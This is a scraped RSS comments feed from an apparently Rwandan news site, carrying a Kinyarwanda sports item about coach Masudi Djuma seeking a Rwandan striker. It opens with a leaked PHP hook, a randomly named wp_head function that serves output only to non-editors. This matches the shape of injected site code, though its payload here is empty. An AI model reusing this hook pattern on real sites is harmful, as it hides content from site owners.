function wp_pf_8158d466(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_8158d466"); Comments on: Masudi Djuma kandi yavuze ko bifuza Rutahizamu w’umunyarwanda ariko bikaba bibagoye kuzamubona. Ati:” Twifuzaga kongeramo rutahizamu w’imbere ariko ni ngombwa ko tuzana umunyarwanda kuko dufite abanyamahanga bane nicyo kibazo dufite. Tuzamukurahe se ko bose bari mu makipe ari gukina nicyo kibazo.” Rayon Sports ubu iri ku mwanya wa mbere mu gihe itegereje ko APR FC ikina ikirarane cyayo na AS Kigali ikamenya niba irangiza imikino ibanza ya shampiyona ari iya mbere cyangwa se mukeba wayo APR FC iyicaho. https://imenanews.com/masudi-djuma-kandi-yavuze-ko-bifuza-rutahizamu-wumunyarwanda-ariko-bikaba-bibagoye-kuzamubona-ati-twifuzaga-kongeramo-rutahizamu-wimbere-ariko-ni-ngombwa-ko-tuzana-umunyar/?utm_source=rss&utm_medium=rss&utm_campaign=masudi-djuma-kandi-yavuze-ko-bifuza-rutahizamu-wumunyarwanda-ariko-bikaba-bibagoye-kuzamubona-ati-twifuzaga-kongeramo-rutahizamu-wimbere-ariko-ni-ngombwa-ko-tuzana-umunyar Haranira Iterambere ry'umugore n'umwana Fri, 08 Apr 2016 15:12:54 +0000 hourly 1 https://wordpress.org/?v=7.1